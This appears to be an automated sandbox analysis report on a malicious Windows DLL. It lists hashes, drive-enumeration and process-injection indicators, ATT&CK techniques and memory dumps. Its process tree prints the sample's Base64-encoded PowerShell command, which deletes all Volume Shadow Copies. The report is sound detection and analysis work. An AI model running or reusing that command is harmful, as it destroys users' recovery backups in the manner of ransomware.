dc97c6d5922939edb810ae414da0d4419a52192e257673baf4bfb0d56aa64fac

General

Target

dc97c6d5922939edb810ae414da0d4419a52192e257673baf4bfb0d56aa64fac.dll
Size

166KB
MD5

16383f94dfd4e15c61effdc30c704783
SHA1

277da2f40d0e9939b28a9f2da1618be39696059f
SHA256

dc97c6d5922939edb810ae414da0d4419a52192e257673baf4bfb0d56aa64fac
SHA512

318dfec3d7251f48393c8eedaf7466eb2887f0ae9a9f37dabbd887b7651fc59bb2cc36feff53ca1bd22a4c6d98d9b4ea90346e4ca14f6cc00aead0aafd43c0b5

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1848 rundll32.exe
332 powershell.exe

pid	process
1848	rundll32.exe
332	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1848	rundll32.exe
Token: SeDebugPrivilege	332	powershell.exe
Token: SeBackupPrivilege	624	vssvc.exe
Token: SeRestorePrivilege	624	vssvc.exe
Token: SeAuditPrivilege	624	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 612 wrote to memory of 1848	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 1848	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 1848	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 1848	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 1848	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 1848	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 1848	612	rundll32.exe	rundll32.exe
PID 1848 wrote to memory of 332	1848	rundll32.exe	powershell.exe
PID 1848 wrote to memory of 332	1848	rundll32.exe	powershell.exe
PID 1848 wrote to memory of 332	1848	rundll32.exe	powershell.exe
PID 1848 wrote to memory of 332	1848	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc97c6d5922939edb810ae414da0d4419a52192e257673baf4bfb0d56aa64fac.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:612

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc97c6d5922939edb810ae414da0d4419a52192e257673baf4bfb0d56aa64fac.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:332

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:624

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/332-55-0x000007FEFBE91000-0x000007FEFBE93000-memory.dmp

Filesize
8KB

Download
memory/332-57-0x0000000002800000-0x0000000002802000-memory.dmp

Filesize
8KB

Download
memory/332-58-0x0000000002802000-0x0000000002804000-memory.dmp

Filesize
8KB

Download
memory/332-59-0x0000000002804000-0x0000000002807000-memory.dmp

Filesize
12KB

Download
memory/332-56-0x000007FEF3460000-0x000007FEF3FBD000-memory.dmp

Filesize
11.4MB

Download
memory/332-60-0x000000000280B000-0x000000000282A000-memory.dmp

Filesize
124KB

Download
memory/1848-54-0x0000000075891000-0x0000000075893000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads